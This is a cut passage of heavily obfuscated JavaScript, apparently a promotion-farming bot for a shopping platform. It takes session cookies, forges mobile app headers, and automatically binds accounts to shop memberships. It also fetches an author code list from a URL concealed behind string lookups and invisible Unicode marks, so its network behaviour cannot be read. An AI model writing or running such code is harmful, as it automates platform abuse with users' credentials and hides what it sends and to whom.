_0x207c79(_0x11dc42,_0x8d7f33);},'ISRwB':_0x2716('‫57'),'bWYrj':_0x2716('‮58'),'JUoNA':function(_0x286e57,_0xcdacf6){return _0x286e57===_0xcdacf6;},'sMlQy':function(_0x54011e,_0x2be765,_0x53a5cb){return _0x54011e(_0x2be765,_0x53a5cb);},'OaKPr':_0x2716('‮59'),'IVmSf':function(_0x2456fa,_0x48bad1){return _0x2456fa!==_0x48bad1;},'dFeml':_0x2716('‮5a'),'pTLVm':_0x2716('‮5b'),'aUsfV':_0x2716('‮5c'),'wnHGS':_0x2716('‮5d'),'lsAFM':function(_0x89b9dd,_0x405490){return _0x89b9dd(_0x405490);},'McWrz':function(_0x5ba1b3,_0x1dc15a){return _0x5ba1b3+_0x1dc15a;}};$[_0x2716('‫5e')]=null;$[_0x2716('‫3e')]=null;$[_0x2716('‮5f')]=null;lz_cookie={};await _0x422ff8[_0x2716('‫60')](getFirstLZCK);await _0x422ff8[_0x2716('‫60')](getToken);await _0x422ff8[_0x2716('‫61')](task,_0x422ff8[_0x2716('‮62')],_0x2716('‫63')+$[_0x2716('‫34')],0x1);if($[_0x2716('‫5e')]){await _0x422ff8[_0x2716('‫64')](getMyPing);if($[_0x2716('‫3e')]){console[_0x2716('‮1c')](_0x422ff8[_0x2716('‮65')](_0x422ff8[_0x2716('‫66')],$[_0x2716('‫2f')]));await _0x422ff8[_0x2716('‫61')](task,_0x422ff8[_0x2716('‮67')],_0x2716('‮68')+$[_0x2716('‫36')]+_0x2716('‮69')+_0x422ff8[_0x2716('‮6a')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮6b')+$[_0x2716('‫34')]+_0x2716('‫6c')+$[_0x2716('‮38')]+_0x2716('‫6d'),0x1);await $[_0x2716('‫41')](0x3e8);if(_0x422ff8[_0x2716('‮6e')]($[_0x2716('‫17')],0x1)){await _0x422ff8[_0x2716('‮6f')](task,_0x422ff8[_0x2716('‮70')],_0x2716('‫63')+$[_0x2716('‫34')]+_0x2716('‮71')+_0x422ff8[_0x2716('‮72')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮73')+_0x422ff8[_0x2716('‮72')](encodeURIComponent,$[_0x2716('‫74')])+_0x2716('‫3b')+_0x422ff8[_0x2716('‮75')](encodeURIComponent,$[_0x2716('‫2f')]),0x0,0x1);}else{await _0x422ff8[_0x2716('‫76')](task,_0x422ff8[_0x2716('‮70')],_0x2716('‫63')+$[_0x2716('‫34')]+_0x2716('‮71')+_0x422ff8[_0x2716('‮77')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮73')+_0x422ff8[_0x2716('‫78')](encodeURIComponent,$[_0x2716('‫74')])+_0x2716('‫3b')+_0x422ff8[_0x2716('‫78')](encodeURIComponent,$[_0x2716('‫2f')]));}$[_0x2716('‮1c')](_0x422ff8[_0x2716('‫79')]);await _0x422ff8[_0x2716('‫76')](task,_0x422ff8[_0x2716('‫7a')],_0x2716('‫63')+$[_0x2716('‫34')]+_0x2716('‫7b')+_0x422ff8[_0x2716('‮7c')](encodeURIComponent,$[_0x2716('‫7d')])+_0x2716('‮71')+_0x422ff8[_0x2716('‮7c')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮7e')+_0x422ff8[_0x2716('‮7c')](encodeURIComponent,$[_0x2716('‫2f')]));await _0x422ff8[_0x2716('‫76')](task,_0x422ff8[_0x2716('‫7a')],_0x2716('‫63')+$[_0x2716('‫34')]+_0x2716('‫7b')+_0x422ff8[_0x2716('‮7c')](encodeURIComponent,$[_0x2716('‫7d')])+_0x2716('‮71')+_0x422ff8[_0x2716('‫7f')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮80')+_0x422ff8[_0x2716('‮81')](encodeURIComponent,$[_0x2716('‫2f')]));await $[_0x2716('‫41')](0x3e8);await _0x422ff8[_0x2716('‮82')](task,_0x422ff8[_0x2716('‫83')],_0x2716('‫63')+$[_0x2716('‫34')]+_0x2716('‮71')+_0x422ff8[_0x2716('‮84')](encodeURIComponent,$[_0x2716('‫3e')]));await $[_0x2716('‫41')](0x3e8);await _0x422ff8[_0x2716('‮85')](task,_0x422ff8[_0x2716('‮86')],_0x2716('‫87')+_0x422ff8[_0x2716('‮84')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮6b')+$[_0x2716('‫34')]+_0x2716('‫3b')+_0x422ff8[_0x2716('‮84')](encodeURIComponent,$[_0x2716('‫2f')]));$[_0x2716('‮1c')](_0x422ff8[_0x2716('‮88')]);if($[_0x2716('‫89')]){for(const _0x225130 of $[_0x2716('‫89')]){console[_0x2716('‮1c')](_0x225130[_0x2716('‮8a')]);$[_0x2716('‮1c')](_0x2716('‫8b')+_0x225130[_0x2716('‫8c')]);if(_0x422ff8[_0x2716('‮8d')](_0x225130[_0x2716('‮8a')],![])){$[_0x2716('‮1c')](_0x2716('‫8e'));await _0x422ff8[_0x2716('‫8f')](getShopOpenCardInfo,{'venderId':''+_0x225130[_0x2716('‫8c')],'channel':_0x422ff8[_0x2716('‫90')]},_0x225130[_0x2716('‫8c')]);await _0x422ff8[_0x2716('‫8f')](bindWithVender,{'venderId':''+_0x225130[_0x2716('‫8c')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':$[_0x2716('‮5f')],'channel':0x191},_0x225130[_0x2716('‫8c')]);}else{if(_0x422ff8[_0x2716('‫91')](_0x422ff8[_0x2716('‮92')],_0x422ff8[_0x2716('‫93')])){$[_0x2716('‮1c')](_0x2716('‮94'));}else{console[_0x2716('‮1c')](error);}}}}else{if(_0x422ff8[_0x2716('‮8d')](_0x422ff8[_0x2716('‮95')],_0x422ff8[_0x2716('‮95')])){$[_0x2716('‮1c')](_0x422ff8[_0x2716('‮96')]);}else{$[_0x2716('‮1c')](data[_0x2716('‫97')]);}}await $[_0x2716('‫41')](0x3e8);await _0x422ff8[_0x2716('‫8f')](task,_0x422ff8[_0x2716('‮86')],_0x2716('‫87')+_0x422ff8[_0x2716('‮84')](encodeURIComponent,$[_0x2716('‫3e')])+_0x2716('‮6b')+$[_0x2716('‫34')]+_0x2716('‫3b')+_0x422ff8[_0x2716('‫98')](encodeURIComponent,$[_0x2716('‫2f')]));console[_0x2716('‮1c')](_0x422ff8[_0x2716('‮99')](_0x422ff8[_0x2716('‫66')],$[_0x2716('‫2f')]));await $[_0x2716('‫41')](0x7d0);}}}function dsb(_0x3a958e){var _0x871196={'ubRdQ':_0x2716('‮2'),'ycpGa':_0x2716('‮3'),'Xzawt':_0x2716('‮9a'),'xpaPy':function(_0x32f3a9,_0x3a6feb){return _0x32f3a9===_0x3a6feb;},'YtTKU':function(_0x306e2e,_0x2e5ea1){return _0x306e2e===_0x2e5ea1;},'hlljE':_0x2716('‮9b'),'QCnUW':_0x2716('‫9c'),'fJUhO':function(_0x18a778,_0x2f49aa){return _0x18a778===_0x2f49aa;},'TwVcp':function(_0xb06cea,_0x4480aa,_0x5be4b2){return _0xb06cea(_0x4480aa,_0x5be4b2);},'NccSL':_0x2716('‮9d'),'zyuLT':function(_0x523058,_0x48cdb9){return _0x523058!==_0x48cdb9;},'rSltG':_0x2716('‮9e'),'wmYIu':_0x2716('‫9f'),'FbvJH':_0x2716('‮5d')};if(_0x3a958e){for(const _0x5c87d3 of _0x3a958e){if(_0x871196[_0x2716('‮a0')](_0x871196[_0x2716('‫a1')],_0x871196[_0x2716('‮a2')])){$[_0x2716('‫e')]($[_0x2716('‮f')],_0x871196[_0x2716('‫a3')],_0x871196[_0x2716('‫a4')],{'open-url':_0x871196[_0x2716('‫a4')]});return;}else{$[_0x2716('‮1c')](_0x2716('‫a5')+_0x5c87d3[_0x2716('‫8c')]);if(_0x871196[_0x2716('‫a6')](_0x5c87d3[_0x2716('‮8a')],![])){$[_0x2716('‮a7')][_0x2716('‮a8')](_0x871196[_0x2716('‮a9')](bindWithVender,{'venderId':''+_0x5c87d3[_0x2716('‫8c')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':0x235e2e,'channel':0x191},_0x5c87d3[_0x2716('‫8c')]));}else{if(_0x871196[_0x2716('‫a6')](_0x871196[_0x2716('‮aa')],_0x871196[_0x2716('‮aa')])){$[_0x2716('‮1c')](_0x2716('‮94'));}else{cookie=''+cookie+sk[_0x2716('‫24')](';')[0x0]+';';}}}}}else{if(_0x871196[_0x2716('‮ab')](_0x871196[_0x2716('‮ac')],_0x871196[_0x2716('‮ad')])){$[_0x2716('‮1c')](_0x871196[_0x2716('‮ae')]);}else{$[_0x2716('‮1c')](_0x2716('‮af')+data[_0x2716('‮b0')][_0x2716('‫b1')]+_0x2716('‮b2'));$[_0x2716('‮1c')](_0x871196[_0x2716('‮b3')]);if(_0x871196[_0x2716('‫b4')]($[_0x2716('‫17')],0x1)){ownCode=data[_0x2716('‮b0')][_0x2716('‫7d')];console[_0x2716('‮1c')](ownCode);}$[_0x2716('‫7d')]=data[_0x2716('‮b0')][_0x2716('‫7d')];}}}function task(_0x48450d,_0x24b7cd,_0x3b6ad9=0x0,_0x249ec0=0x0){var _0x41ad8f={'eTPCc':function(_0x20e146){return _0x20e146();},'dXeTZ':function(_0x204fff,_0x31f4a3){return _0x204fff+_0x31f4a3;},'aetWY':function(_0xa127b7,_0xa4c617){return _0xa127b7+_0xa4c617;},'nlSBQ':function(_0x217653,_0x4497df){return _0x217653!==_0x4497df;},'BwGVZ':_0x2716('‮b5'),'WXeXt':_0x2716('‮b6'),'jHIeA':function(_0x502d95,_0x4434f0){return _0x502d95!==_0x4434f0;},'vaLwV':_0x2716('‮b7'),'ScnWU':_0x2716('‫b8'),'YkZta':function(_0x50a059,_0xae952){return _0x50a059===_0xae952;},'HbjfD':_0x2716('‫b9'),'pEUxb':_0x2716('‫ba'),'tSuPu':_0x2716('‮50'),'nzisF':_0x2716('‫bb'),'XGoZB':_0x2716('‮53'),'RcBzH':_0x2716('‮9a'),'fmLyO':_0x2716('‫bc'),'etVHB':_0x2716('‫57'),'wOtJB':_0x2716('‫55'),'bTTrY':_0x2716('‫bd'),'GXdzG':_0x2716('‫be'),'wYhLF':_0x2716('‫bf'),'RExoV':_0x2716('‫c0'),'KljNN':_0x2716('‫c1'),'dpzPJ':function(_0x5b1a66,_0x40c5ff){return _0x5b1a66===_0x40c5ff;},'usLeK':_0x2716('‫c2'),'XMvfm':_0x2716('‮c3'),'LRUYF':_0x2716('‫c4'),'EGkcl':_0x2716('‫c5'),'HOwhq':_0x2716('‫c6'),'qWhga':_0x2716('‮c7'),'jJOur':_0x2716('‮c8'),'aClzN':_0x2716('‫c9'),'tYnaz':_0x2716('‮ca'),'SHKCU':function(_0x5b940a,_0x2d49f0,_0x31bba7,_0x3a5bb4){return _0x5b940a(_0x2d49f0,_0x31bba7,_0x3a5bb4);}};return new Promise(_0x1c17b3=>{var _0x29d3b1={'dtBss':function(_0x4b1fbe){return _0x41ad8f[_0x2716('‫cb')](_0x4b1fbe);},'epUYR':function(_0x527394,_0x4e7fae){return _0x41ad8f[_0x2716('‫cc')](_0x527394,_0x4e7fae);},'VWNrP':function(_0x13eeaf,_0x36d0a3){return _0x41ad8f[_0x2716('‫cd')](_0x13eeaf,_0x36d0a3);},'oKLAp':function(_0x125285,_0x6e2df8){return _0x41ad8f[_0x2716('‫ce')](_0x125285,_0x6e2df8);},'jkqBM':_0x41ad8f[_0x2716('‮cf')],'ugdgD':_0x41ad8f[_0x2716('‮d0')],'VVXAL':function(_0x238eb1,_0x5a945a){return _0x41ad8f[_0x2716('‮d1')](_0x238eb1,_0x5a945a);},'JZgHv':_0x41ad8f[_0x2716('‮d2')],'mXOqV':_0x41ad8f[_0x2716('‮d3')],'qzikz':function(_0x556b9c,_0x7db0e4){return _0x41ad8f[_0x2716('‫d4')](_0x556b9c,_0x7db0e4);},'ibCda':_0x41ad8f[_0x2716('‮d5')],'mOKrf':_0x41ad8f[_0x2716('‫d6')],'cyVlh':_0x41ad8f[_0x2716('‮d7')],'xvZMI':_0x41ad8f[_0x2716('‮d8')],'triDZ':_0x41ad8f[_0x2716('‫d9')],'PLHKz':_0x41ad8f[_0x2716('‮da')],'jJvoP':_0x41ad8f[_0x2716('‮db')],'ZqYPm':_0x41ad8f[_0x2716('‮dc')],'HAumL':_0x41ad8f[_0x2716('‫dd')],'RmqMQ':_0x41ad8f[_0x2716('‫de')],'AJQIk':_0x41ad8f[_0x2716('‮df')],'REBnf':_0x41ad8f[_0x2716('‫e0')],'btGVV':_0x41ad8f[_0x2716('‮e1')],'tgYtT':_0x41ad8f[_0x2716('‫e2')],'rCuWi':function(_0x3ebad6,_0x4fe005){return _0x41ad8f[_0x2716('‮e3')](_0x3ebad6,_0x4fe005);},'WkRgc':_0x41ad8f[_0x2716('‫e4')],'kaqNd':_0x41ad8f[_0x2716('‫e5')],'kmQki':_0x41ad8f[_0x2716('‮e6')],'vwqRu':_0x41ad8f[_0x2716('‫e7')],'cYhKR':_0x41ad8f[_0x2716('‮e8')],'atFse':_0x41ad8f[_0x2716('‮e9')],'fDoAE':_0x41ad8f[_0x2716('‮ea')],'WDTaf':_0x41ad8f[_0x2716('‮eb')],'RcRLH':_0x41ad8f[_0x2716('‮ec')]};$[_0x2716('‮ed')](_0x41ad8f[_0x2716('‮ee')](taskUrl,_0x48450d,_0x24b7cd,_0x3b6ad9),async(_0x179501,_0x4e6e53,_0x36e2e4)=>{var _0x2b014c={'TAWXu':function(_0x3c7e13){return _0x29d3b1[_0x2716('‫ef')](_0x3c7e13);},'pODsh':function(_0x1d55bd,_0x21b7eb){return _0x29d3b1[_0x2716('‫f0')](_0x1d55bd,_0x21b7eb);},'wApRw':function(_0x37a52a,_0x52710d){return _0x29d3b1[_0x2716('‫f1')](_0x37a52a,_0x52710d);},'FygUT':function(_0x162bb4,_0x59db1e){return _0x29d3b1[_0x2716('‫f1')](_0x162bb4,_0x59db1e);}};if(_0x29d3b1[_0x2716('‮f2')](_0x29d3b1[_0x2716('‫f3')],_0x29d3b1[_0x2716('‫f4')])){try{if(_0x29d3b1[_0x2716('‮f5')](_0x29d3b1[_0x2716('‮f6')],_0x29d3b1[_0x2716('‫f7')])){if(_0x179501){$[_0x2716('‮1c')](_0x179501);}else{if(_0x36e2e4){_0x36e2e4=JSON[_0x2716('‫f8')](_0x36e2e4);if(_0x36e2e4[_0x2716('‫f9')]){if(_0x29d3b1[_0x2716('‫fa')](_0x29d3b1[_0x2716('‫fb')],_0x29d3b1[_0x2716('‫fc')])){res=JSON[_0x2716('‫f8')](_0x36e2e4);if(res[_0x2716('‫fd')]){console[_0x2716('‮1c')](res);$[_0x2716('‮fe')]=res[_0x2716('‫ff')];}}else{switch(_0x48450d){case _0x29d3b1[_0x2716('‮100')]:$[_0x2716('‮101')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‮101')];$[_0x2716('‫8c')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‫8c')];$[_0x2716('‮102')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‮102')];break;case _0x29d3b1[_0x2716('‫103')]:break;case _0x29d3b1[_0x2716('‮104')]:if(!_0x36e2e4[_0x2716('‮b0')][_0x2716('‫105')]){$[_0x2716('‮1c')](_0x2716('‮af')+_0x36e2e4[_0x2716('‮b0')][_0x2716('‫b1')]+_0x2716('‮b2'));$[_0x2716('‮1c')](_0x29d3b1[_0x2716('‫106')]);if(_0x29d3b1[_0x2716('‫fa')]($[_0x2716('‫17')],0x1)){ownCode=_0x36e2e4[_0x2716('‮b0')][_0x2716('‫7d')];console[_0x2716('‮1c')](ownCode);}$[_0x2716('‫7d')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‫7d')];}else{$[_0x2716('‮1c')](_0x29d3b1[_0x2716('‫107')]);}break;case _0x29d3b1[_0x2716('‮108')]:$[_0x2716('‫89')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‮109')];$[_0x2716('‮10a')]=_0x36e2e4[_0x2716('‮b0')][_0x2716('‮10b')];break;case _0x29d3b1[_0x2716('‫10c')]:console[_0x2716('‮1c')](_0x36e2e4);break;case _0x29d3b1[_0x2716('‫10d')]:console[_0x2716('‮1c')](_0x36e2e4);break;case _0x29d3b1[_0x2716('‮10e')]:if(_0x36e2e4[_0x2716('‮b0')]){if(_0x29d3b1[_0x2716('‮f5')](_0x29d3b1[_0x2716('‫10f')],_0x29d3b1[_0x2716('‮110')])){console[_0x2716('‮1c')](_0x36e2e4[_0x2716('‮b0')]);}else{_0x2b014c[_0x2716('‫111')](_0x1c17b3);}}break;case _0x29d3b1[_0x2716('‮112')]:if(_0x36e2e4[_0x2716('‮b0')]){if(_0x29d3b1[_0x2716('‮113')](_0x29d3b1[_0x2716('‮114')],_0x29d3b1[_0x2716('‮115')])){Host=process[_0x2716('‮116')][_0x2716('‫117')];}else{console[_0x2716('‮1c')](_0x36e2e4[_0x2716('‮b0')]);}}break;case _0x29d3b1[_0x2716('‫118')]:console[_0x2716('‮1c')](_0x36e2e4);break;case _0x29d3b1[_0x2716('‫119')]:console[_0x2716('‮1c')](_0x36e2e4);break;case _0x29d3b1[_0x2716('‫11a')]:console[_0x2716('‮1c')](_0x36e2e4[_0x2716('‮b0')]);break;case _0x29d3b1[_0x2716('‮11b')]:$[_0x2716('‮1c')](JSON[_0x2716('‮11c')](_0x36e2e4));break;case _0x29d3b1[_0x2716('‮11d')]:$[_0x2716('‮1c')](JSON[_0x2716('‮11c')](_0x36e2e4));break;case _0x29d3b1[_0x2716('‫11e')]:$[_0x2716('‮1c')](JSON[_0x2716('‮11c')](_0x36e2e4));break;default:break;}}}else{}}else{}}}else{cookie=''+cookie+sk[_0x2716('‫24')](';')[0x0]+';';}}catch(_0x5f4663){$[_0x2716('‮1c')](_0x5f4663);}finally{if(_0x29d3b1[_0x2716('‮113')](_0x29d3b1[_0x2716('‮11f')],_0x29d3b1[_0x2716('‮11f')])){_0x29d3b1[_0x2716('‫ef')](_0x1c17b3);}else{if(_0x179501){$[_0x2716('‫d')]=![];}else{if(_0x36e2e4)_0x36e2e4=JSON[_0x2716('‫f8')](_0x36e2e4);$[_0x2716('‫d')]=!![];}}}}else{cookie+=_0x2b014c[_0x2716('‫120')](_0x2b014c[_0x2716('‫121')](_0x2b014c[_0x2716('‮122')](vo,'='),lz_cookie[vo]),';');}});});}function taskaccessLog(_0x300c96,_0x3eedbd,_0x469714=0x0){var _0x3c9d9b={'NKdkh':function(_0x5a3f04,_0x2b79bb){return _0x5a3f04!==_0x2b79bb;},'ggqaR':_0x2716('‮123'),'cbJQF':_0x2716('‫0'),'yjVDZ':_0x2716('‫124'),'mfaDO':function(_0x69f928,_0x484c37){return _0x69f928+_0x484c37;},'Ksfdu':function(_0x5e5808,_0x40246b){return _0x5e5808+_0x40246b;},'DqkEI':function(_0x124cfe,_0x1d1613){return _0x124cfe===_0x1d1613;},'xUwsI':_0x2716('‮125'),'lfnXO':_0x2716('‮126'),'uYrIB':function(_0x1c9d0c){return _0x1c9d0c();},'YUBhw':function(_0x204648,_0x164e9b,_0x38b0d3,_0x3f7da2){return _0x204648(_0x164e9b,_0x38b0d3,_0x3f7da2);}};return new Promise(_0x19325b=>{$[_0x2716('‮ed')](_0x3c9d9b[_0x2716('‫127')](taskUrl,_0x300c96,_0x3eedbd,_0x469714),async(_0x1631fb,_0x29f5e2,_0x1d3ab0)=>{try{if(_0x1631fb){if(_0x3c9d9b[_0x2716('‫128')](_0x3c9d9b[_0x2716('‫129')],_0x3c9d9b[_0x2716('‫129')])){$[_0x2716('‮1c')](_0x1631fb);}else{$[_0x2716('‮1c')](_0x1631fb);}}else{if(_0x29f5e2[_0x3c9d9b[_0x2716('‮12a')]][_0x3c9d9b[_0x2716('‫12b')]]){cookie=originCookie+';';for(let _0x21417c of _0x29f5e2[_0x3c9d9b[_0x2716('‮12a')]][_0x3c9d9b[_0x2716('‫12b')]]){lz_cookie[_0x21417c[_0x2716('‫24')](';')[0x0][_0x2716('‮12c')](0x0,_0x21417c[_0x2716('‫24')](';')[0x0][_0x2716('‮12d')]('='))]=_0x21417c[_0x2716('‫24')](';')[0x0][_0x2716('‮12c')](_0x3c9d9b[_0x2716('‮12e')](_0x21417c[_0x2716('‫24')](';')[0x0][_0x2716('‮12d')]('='),0x1));}for(const _0x260859 of Object[_0x2716('‮12f')](lz_cookie)){cookie+=_0x3c9d9b[_0x2716('‮12e')](_0x3c9d9b[_0x2716('‮130')](_0x3c9d9b[_0x2716('‮130')](_0x260859,'='),lz_cookie[_0x260859]),';');}}}}catch(_0x719a1a){if(_0x3c9d9b[_0x2716('‮131')](_0x3c9d9b[_0x2716('‫132')],_0x3c9d9b[_0x2716('‫133')])){console[_0x2716('‮1c')](_0x1631fb);}else{console[_0x2716('‮1c')](_0x719a1a);}}finally{_0x3c9d9b[_0x2716('‫134')](_0x19325b);}});});}function getAuthorCodeList(_0x4529b9){var _0x4806dc={'zRWSQ':_0x2716('‫c'),'QvpyG':function(_0x5eb8c5,_0xc87408){return _0x5eb8c5===_0xc87408;},'mBOGc':_0x2716('‫135'),'RzxmG':function(_0x4d4ff9,_0x2a9357){return _0x4d4ff9(_0x2a9357);},'XnuJh':_0x2716('‫136')};return new Promise(_0x31a4a2=>{const _0x909f30={'url':_0x4529b9+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x4806dc[_0x2716('‫137')]}};$[_0x2716('‫138')](_0x909f30,async(_0x21b3cd,_0x5c5f6e,_0x577e7d)=>{var _0x442b35={'jjrPa':_0x4806dc[_0x2716('‫139')]};try{if(_0x21b3cd){if(_0x4806dc[_0x2716('‫13a')](_0x4806dc[_0x2716('‫13b')],_0x4806dc[_0x2716('‫13b')])){$[_0x2716('‫d')]=![];}else{$[_0x2716('‫e')]($[_0x2716('‮f')],_0x442b35[_0x2716('‮13c')],message);}}else{if(_0x577e7d)_0x577e7d=JSON[_0x2716('‫f8')](_0x577e7d);$[_0x2716('‫d')]=!![];}}catch(_0x1498f7){$[_0x2716('‫45')](_0x1498f7,_0x5c5f6e);_0x577e7d=null;}finally{_0x4806dc[_0x2716('‫13d')](_0x31a4a2,_0x577e7d);}});});}function taskUrl(_0x57e401,_0x3a16ff,_0x34e7cb){var _0x3bce43={'WUXOu':_0x2716('‮13e'),'kmboi':_0x2716('‮13f'),'bYuRy':_0x2716('‮140'),'GxkyM':_0x2716('‮141'),'YGasd':_0x2716('‮142'),'qoXCJ':_0x2716('‫143'),'IDXFZ':_0x2716('‮144'),'LTOeD':_0x2716('‮145')};return{'url':_0x34e7cb?_0x2716('‮146')+_0x57e401:_0x2716('‫147')+_0x57e401,'headers':{'Host':_0x3bce43[_0x2716('‮148')],'Accept':_0x3bce43[_0x2716('‮149')],'X-Requested-With':_0x3bce43[_0x2716('‫14a')],'Accept-Language':_0x3bce43[_0x2716('‫14b')],'Accept-Encoding':_0x3bce43[_0x2716('‮14c')],'Content-Type':_0x3bce43[_0x2716('‮14d')],'Origin':_0x3bce43[_0x2716('‮14e')],'User-Agent':_0x2716('‮14f')+$[_0x2716('‮2c')]+_0x2716('‫150')+$[_0x2716('‮29')]+_0x2716('‫151'),'Connection':_0x3bce43[_0x2716('‫152')],'Referer':$[_0x2716('‮38')],'Cookie':$[_0x2716('‫153')]},'body':_0x3a16ff};}function getMyPing(){var _0x38f6a7={'IPwXH':function(_0x3b855e,_0x202a33){return _0x3b855e(_0x202a33);},'JHNtk':function(_0x20adba,_0x4ebc87){return _0x20adba|_0x4ebc87;},'FUthV':function(_0x20c9ee,_0xee0723){return _0x20c9ee*_0xee0723;},'teJTa':function(_0x2cbe3e,_0x553ea8){return _0x2cbe3e==_0x553ea8;},'xRQVV':function(_0x3b5f74,_0x299aa8){return _0x3b5f74&_0x299aa8;},'qoeXs':_0x2716('‫0'),'JMSCE':_0x2716('‫124'),'KUSsG':function(_0x4b6a28,_0x51dd84){return _0x4b6a28+_0x51dd84;},'yWPFt':function(_0x10345f,_0xad9381){return _0x10345f+_0xad9381;},'pgczA':function(_0x453a56,_0x22c4da){return _0x453a56+_0x22c4da;},'EIpSo':function(_0x404687,_0x253110,_0x8a796e){return _0x404687(_0x253110,_0x8a796e);},'rEstE':function(_0x403af5,_0x4bdece){return _0x403af5!==_0x4bdece;},'HTSSO':_0x2716('‫154'),'SqdSL':_0x2716('‮155'),'IyqAL':function(_0x5ab050,_0x31ba87){return _0x5ab050===_0x31ba87;},'pWIeZ':_0x2716('‫156'),'OWbqX':_0x2716('‫157'),'gjpcp':function(_0x335fbe,_0x273c25){return _0x335fbe===_0x273c25;},'dNOMx':_0x2716('‫158'),'DUPEU':_0x2716('‫159'),'lJfmF':_0x2716('‮15a'),'RKZFM':_0x2716('‮1'),'qDUat':function(_0x557f57,_0x2b5dd9){return _0x557f57!==_0x2b5dd9;},'seKjj':_0x2716('‫15b'),'eJyPN':function(_0x288698,_0x204d1e){return _0x288698!==_0x204d1e;},'KqWIT':_0x2716('‫15c'),'GNvgT':function(_0x3354d0,_0x13d796){return _0x3354d0!==_0x13d796;},'NoHkK':_0x2716('‫15d'),'Kwjah':function(_0x486951,_0x5df5c4){return _0x486951===_0x5df5c4;},'McolZ':_0x2716('‮15e'),'tYPgT':_0x2716('‫15f'),'lwOqp':_0x2716('‮160'),'CauEO':function(_0x417786,_0x298bb8){return _0x417786!==_0x298bb8;},'SDoow':_0x2716('‮161'),'ApogB':_0x2716('‮162'),'vKMVQ':function(_0xf945dd,_0x161174){return _0xf945dd!==_0x161174;},'QohYr':_0x2716('‮163'),'oZhcJ':_0x2716('‫164'),'neTRJ':_0x2716('‫165'),'ppSwA':_0x2716('‫166'),'YXJbv':function(_0x43fe2f,_0x2e93da){return _0x43fe2f!==_0x2e93da;},'BqdvR':_0x2716('‫167'),'LOvsz':_0x2716('‫168'),'FxSSq':function(_0x46e8b4){return _0x46e8b4();},'Jlllz':_0x2716('‮5d'),'HkuBZ':function(_0x16ee3e,_0x5475db){return _0x16ee3e!==_0x5475db;},'YMWUl':_0x2716('‮169'),'AUWVe':_0x2716('‮13e'),'UiXrY':_0x2716('‮13f'),'MOFeW':_0x2716('‮140'),'tkFeR':_0x2716('‮141'),'hngNJ':_0x2716('‮142'),'nkKxX':_0x2716('‫143'),'IvYEY':_0x2716('‮144'),'wAAye':_0x2716('‮145')};let _0x59d4f7={'url':_0x2716('‫16a'),'headers':{'Host':_0x38f6a7[_0x2716('‮16b')],'Accept':_0x38f6a7[_0x2716('‮16c')],'X-Requested-With':_0x38f6a7[_0x2716('‫16d')],'Accept-Language':_0x38f6a7[_0x2716('‮16e')],'Accept-Encoding':_0x38f6a7[_0x2716('‮16f')],'Content-Type':_0x38f6a7[_0x2716('‫170')],'Origin':_0x38f6a7[_0x2716('‮171')],'User-Agent':_0x2716('‮14f')+$[_0x2716('‮2c')]+_0x2716('‫150')+$[_0x2716('‮29')]+_0x2716('‫151'),'Connection':_0x38f6a7[_0x2716('‫172')],'Referer':$[_0x2716('‮38')],'Cookie':cookie},'body':_0x2716('‮173')+$[_0x2716('‫36')]+_0x2716('‫174')+$[_0x2716('‫5e')]+_0x2716('‫175')};return new Promise(_0x4b3ec4=>{var _0x197651={'zewDI':function(_0x5db99b){return _0x38f6a7[_0x2716('‮176')](_0x5db99b);},'HDLcq':_0x38f6a7[_0x2716('‫177')],'Vutxe':_0x38f6a7[_0x2716('‫178')],'wLmvp':_0x38f6a7[_0x2716('‮179')]};if(_0x38f6a7[_0x2716('‮17a')](_0x38f6a7[_0x2716('‫17b')],_0x38f6a7[_0x2716('‫17b')])){$[_0x2716('‫5e')]=data[_0x2716('‫5e')];}else{$[_0x2716('‮ed')](_0x59d4f7,(_0x365086,_0x481603,_0x28186d)=>{var _0x346cbe={'ZVlcx':function(_0x5c89ad,_0x295b12){return _0x38f6a7[_0x2716('‮17c')](_0x5c89ad,_0x295b12);},'HmHVp':function(_0x79f1dd,_0xcbf44a){return _0x38f6a7[_0x2716('‫17d')](_0x79f1dd,_0xcbf44a);},'Obexl':function(_0x49b951,_0x3a63ff){return _0x38f6a7[_0x2716('‮17e')](_0x49b951,_0x3a63ff);},'ZcNri':function(_0x1e7448,_0x4ad4af){return _0x38f6a7[_0x2716('‮17f')](_0x1e7448,_0x4ad4af);},'VRfXJ':function(_0x43af8f,_0x4ac3a1){return _0x38f6a7[_0x2716('‫17d')](_0x43af8f,_0x4ac3a1);},'fmvID':function(_0x1930ab,_0xb34a7b){return _0x38f6a7[_0x2716('‫180')](_0x1930ab,_0xb34a7b);},'aOWDd':_0x38f6a7[_0x2716('‫177')],'lczbX':_0x38f6a7[_0x2716('‫178')],'WemHW':function(_0x503dc0,_0x12e4d2){return _0x38f6a7[_0x2716('‫181')](_0x503dc0,_0x12e4d2);},'rTFfM':function(_0x201639,_0x355698){return _0x38f6a7[_0x2716('‮182')](_0x201639,_0x355698);},'yNVgq':function(_0x375c3d,_0x77fe43){return _0x38f6a7[_0x2716('‮183')](_0x375c3d,_0x77fe43);},'mQPnO':function(_0x217a9b,_0x31fc79){return _0x38f6a7[_0x2716('‮183')](_0x217a9b,_0x31fc79);},'zEzxD':function(_0x306d1c,_0x2d4006){return _0x38f6a7[_0x2716('‫17d')](_0x306d1c,_0x2d4006);},'MfyrZ':function(_0x1d5c3b,_0x54b6a5){return _0x38f6a7[_0x2716('‮17f')](_0x1d5c3b,_0x54b6a5);},'rWCpx':function(_0x51046b,_0x7a70f3){return _0x38f6a7[_0x2716('‫17d')](_0x51046b,_0x7a70f3);},'OwliT':function(_0x3cdf32,_0x4d8f9e){return _0x38f6a7[_0x2716('‫180')](_0x3cdf32,_0x4d8f9e);},'IlLTB':function(_0x5d30e2,_0x1ea97a,_0x30cd25){return 